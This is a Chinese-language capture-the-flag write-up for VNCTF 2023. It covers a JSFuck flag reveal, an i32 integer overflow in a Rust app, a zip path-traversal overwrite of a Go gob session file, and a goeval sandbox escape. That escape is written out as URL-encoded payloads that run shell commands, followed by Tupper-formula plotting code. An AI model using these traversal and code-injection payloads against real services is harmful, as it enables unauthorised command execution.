VnCtf
VnCtf
web
象棋王子
先下一下传统象棋,显然下不过,那看看源码,"js/play.js"下有游戏源码,翻到最后有一个"showWin"函数,my==1的情况就是获胜,下面是一串很抽象的js代码,丢进控制台中跑一跑:
[][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (+(!+[] + !+[] + !+[] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [!+[] + !+[]]) + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]])()([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + ([] + [])[(![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]()[+!+[] + [!+[] + !+[]]] + ((![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + [+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (+[![]] + [])[+[]] + (!![] + [])[+[]] + [+!+[]] + [+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]] + [!+[] + !+[]] + [!+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [+!+[]] + [!+[] + !+[] + !+[] + !+[] + !+[] + !+[] + !+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[]] + [!+[] + !+[]] + (!![] + [])[+[]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + [+!+[]])[(![] + [])[!+[] + !+[] + !+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]]]((!![] + [])[+[]])[([][(!![] + [])[!+[] + !+[] + !+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]() + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]]](([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]][([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]] + ![] + (![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]])()[([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((![] + [+[]])[([![]] + [][[]])[+!+[] + [+[]]] + (!![] + [])[+[]] + (![] + [])[+!+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]]]()[+!+[] + [+[]]]) + [])[+!+[]]) + ([] + [])[(![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (!![] + [])[+[]] + ([][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + (![] + [])[!+[] + !+[]] + (![] + [])[+!+[]] + (!![] + [])[+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]()[+!+[] + [!+[] + !+[]]])())
=> alert("This is your flag: flag{w3lc0m3_t0_VNCTF_2023~~~}")
电子木鱼
装个rust环境,要装VS才能配编译环境,那算了,RustPlayground 简单用一用
但其实不太需要看懂rust,浏览源码大致能猜出在干什么:
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];
定义了一些常量,例如 Payload[Donate] == 1
。
#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
...
}
表示需要用GET方法访问"/"路径,并执行函数中的操作。
#[get("/reset")]: 重置功德
post(/upgrade): 更新功德,当功德为负数会被拦截,不能执行其他操作;利用Post方式上传两个参数"name"与"quantity";name可以取Cost表示扣取10*quantity的功德,Donate表示扣取quantity数量的功德,CCCCCost表示扣取500功德,Loan表示获取1000功德,Sleep表示功德不变;必须上传name和quantity两个参数。
当扣取的功德多于已有的功德时不能扣取功德。要想拿到flag需要多于1e9的功德。每次Loan只能获取1e3的功德,理论上只用Loan需要进行1e6次的访问,显然这足够让buu把你ban了。因此需要另辟蹊径。
在源码中总是出现:cost as i32
,cost中的数被视为一个占内存32位即4个字节的整数类型,32位整数有一位是符号位,31位表示数字的大小,其范围是:[2147483648, 2147483647]
。Cost方法会将quantity*10计算最终扣去的功德,当我们的 quantity==214748365
,那么 quantity*10 == 2147483650 > 2**31-1
正数范围内的i32类型发生了溢出,溢出大小是3,根据补码的规律,溢出后变为 -(2**31-3+1) == -2147483646
,Cost等扣取功德的方式会让原有的功德减去该Cost,因此会一次性获取非常多的功德。但是加入初始功德不为0,而有1000,1000 - (-2147483646) = 2147484646 > 2**31
,而已有的功德也被定义为i32的整数类型:
static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));
因此已有的功德又会再次溢出,溢出值为999,因此溢出后的值为 -(2**31-999+1) == -2147482650
,这样功德就变成负数啦(佛祖很失望啊)
补码:
# 用=>表示取补码,考虑8位整数
00000000 = 0
10000000 = -128 => 10000000 = -128
10000001 = -127 => 01111111 = 127
11111111 = -1 => 00000001 = 1
词本
customize: vt. 自定义,定制
BabyGo
参考:Go-沙箱逃逸
源码:
package main
import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)
type User struct {
Name string
Path string
Power string
}
func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir) // 设置shallow为userdir
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob") // 序列化存储用户权限
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user) // 存入Low权限
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" { // 截断源码文件防止覆盖
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) { // 解压
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/" // 默认上传文件夹
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path")) // 目标路径,拼接默认上传文件夹与GET上传的"path"
for _, file := range files { // 解压文件
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
r.Run(":80")
}
GET访问路由 /
时后台自动新建一个用户权限为 low
的类序列化文件,名为 user.gob
,该文件被存在 userDir
下,即 /tmp/...(好长一串)/
;
路由 /upload
提供文件上传功能,不允许上传 ".gob" ".go"
文件,为了避免 user.gob
被直接覆盖。上传的文件默认被放在 userDir/uploads
下。
GET方式访问路由 /unzip?path=
解压uploads下所有的压缩包文件,通过Get请求传入参数 path
,拼接 userDir/uploads
与 path
得到解压路径,因此解压路径是可控的,通过传入 path=../
可以将文件解压至父文件夹。
通过GET方式访问路由 /backdoor
,服务器提供了一个可以执行GoEval的后门,通过传入参数 pkg
来传入eval的内容。但只有服务器上有用户权限文件且用户权限为 admin
时该后门才被启用。
分析完各路由功能后即可获得大致思路,为了访问后门需要一个权限为 admin
的用户,需要一个对应的用户文件去覆盖服务器原有的 user.gob
。由于不能直接上传go源码或序列化文件,需要借助解压功能,上传一个压缩过的"user.gob"文件后,通过传入路径 path=../
使其被解压到 uploads/
的父目录即 userDir/
下,覆盖原有的"user.gob",就能篡改权限。
为了在本地生成一个权限为 admin
的"user.gob",新建一个文件夹与一个go源码文件"getAdmin.go",写入内容:
package main
import (
"encoding/gob"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main() {
gobFile, _ := os.Create("./user.gob") // 序列化存储用户权限
user := User{Name: "ctfer", Path: "./", Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user) // 存入Low权限
}
go run getAdmin.go
运行后即可在当前文件夹下生成一个"user.gob"文件,文件内的权限为admin。go文件的运行要求一个文件夹下多个go文件是相互联系的,因此最好新建文件夹来运行go脚本。压缩并上传"user.gob",访问"/unzip"解压文件并传入"path=../",接着访问"/backdoor"会发现响应了一个"good",表明权限已经是admin了。接下来需要利用eval进行RCE,参考 Go-沙箱逃逸 得到以下payload:
原始payload:
Eval("os/exec\"\n\"fmt\")\nfunc\tinit(){\ncmd\t:=exec.Command(\"ls\")\nres,err\t:=\tcmd.CombinedOutput()\nfmt.Println(string(res))\nfmt.Println(err)\n}\nconst(\nMessage=\"fmt")
url编码后的payload:
?pkg=os/exec"%0A"fmt")%0Afunc%09init(){%0Acmd%09:=exec.Command("ls")%0Ares,err%09:=%09cmd.CombinedOutput()%0Afmt.Println(string(res))%0Afmt.Println(err)%0A}%0Aconst(%0AMessage="fmt
=> go.mod go.sum main main.go template <nil> Good
url编码中:%09==\t
,%0A==\n
. 这个payload很奇怪啊,按理来说传入的内容作为字符串再次被传入Eval中,里面的引号、换行、制表符都需要转义才能被正确读取,这里却不需要转义就能正确读取。
猜测是传入的 pkg
变量中的内容被URL解码后,将被严格视为字符串,特殊字符将被自动转义处理,再传入Go中的字符串。
当传参形式是字符串时,参数后跟的内容被严格视为字符串;当传入参数被视为json解析时,内部的结构由于自代引号,需要考虑特殊字符的转义问题。
经测试,payload中的换行不能缺少,且传入的内容不能含有空格,否则会出现报错:expected 'STRING', found '/'
eval内部调用的函数是 exec.Command()
,它可以传多个命令行参数,而无需传入完整的 "ls /"
尽管换行符不需要被反斜杠转义,但它必须被URL编码。在hackbar中,若将 %0a
直接换为换行符,传入后端后会报错:syntax error: unexpected func, expecting semicolon or newline
. func前检测不到换行符,希望有一个分号或另起一行。显然换行符不进行URL编码将会被忽视。
制表符对RCE无影响。
我们会发现:对于Go语法而言,特定的换行符是必要的;而URL编码的意义是保证换行符在传输到后端Go语言时不被丢弃;在服务器接收参数时可能会自动丢弃空白字符如制表符、空格、换行符;尽可能的URL编码能够保证传输的参数正确完整的到达后端。
获取flag的payload:
?pkg=os/exec"%0A"fmt")%0Afunc%09init(){%0Acmd%09:=exec.Command("cat","/ffflllaaaggg")%0Ares,err%09:=%09cmd.CombinedOutput()%0Afmt.Println(string(res))%0Afmt.Println(err)%0A}%0Aconst(%0AMessage="fmt
=> flag{29e95e44-b363-48ba-9e0f-87020fed2f59}
得到flag:flag{29e95e44-b363-48ba-9e0f-87020fed2f59}
词本
semicolon: 分号
Misc
验证码
提示"tupper":Tupper(塔珀自指公式) 。就是提供了一个可以用于绘制指定大小(17px*106px)图的函数,该函数通过更改参数k来获取不同的像素图。
测试代码:
import numpy as np
import matplotlib.pyplot as plt
import os
def Tupper_self_referential_formula(k):
aa = np.zeros((17,106))
def f(x, y):
y += k
a1 = 2**-(-17*x - y%17)
a2 = (y // 17) // a1
return 1 if a2 % 2 > 0.5 else 0
for y in range(17):
for x in range(106):
aa[y, x] = f(x, y)
return aa[:,::-1]
k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279561
aa = Tupper_self_referential_formula(k)
plt.imshow(aa, origin="upper") # imshow处理图片,show展示图片
plt.xlim(106, 0) # upper下翻转x轴让最终生成的图片方向正确
plt.ylim(0, 17)
plt.show()
base1 = k-17*(0)
base2 = k+17*(0)
cwd = os.path.dirname(__file__)+"/tupperImgs/"
if(not os.path.exists(cwd)):
os.makedirs(cwd)
input("Continue for more figures?")
for i in range(50):
k1 = base1 - 1*(i+1)
k2 = base2 + 1*(i+1)
aa_1 = Tupper_self_referential_formula(k1)
plt.imshow(aa_1, origin='upper')
plt.xlim(106, 0)
plt.ylim(0, 17)
plt.savefig(cwd+"-"+str(i)+".jpg")
aa_2 = Tupper_self_referential_formula(k2)
plt.imshow(aa_2, origin='upper')
plt.xlim(106, 0)
plt.ylim(0, 17)
plt.savefig(cwd+"+"+str(i)+".jpg")
自指的k保留一下,有543位:
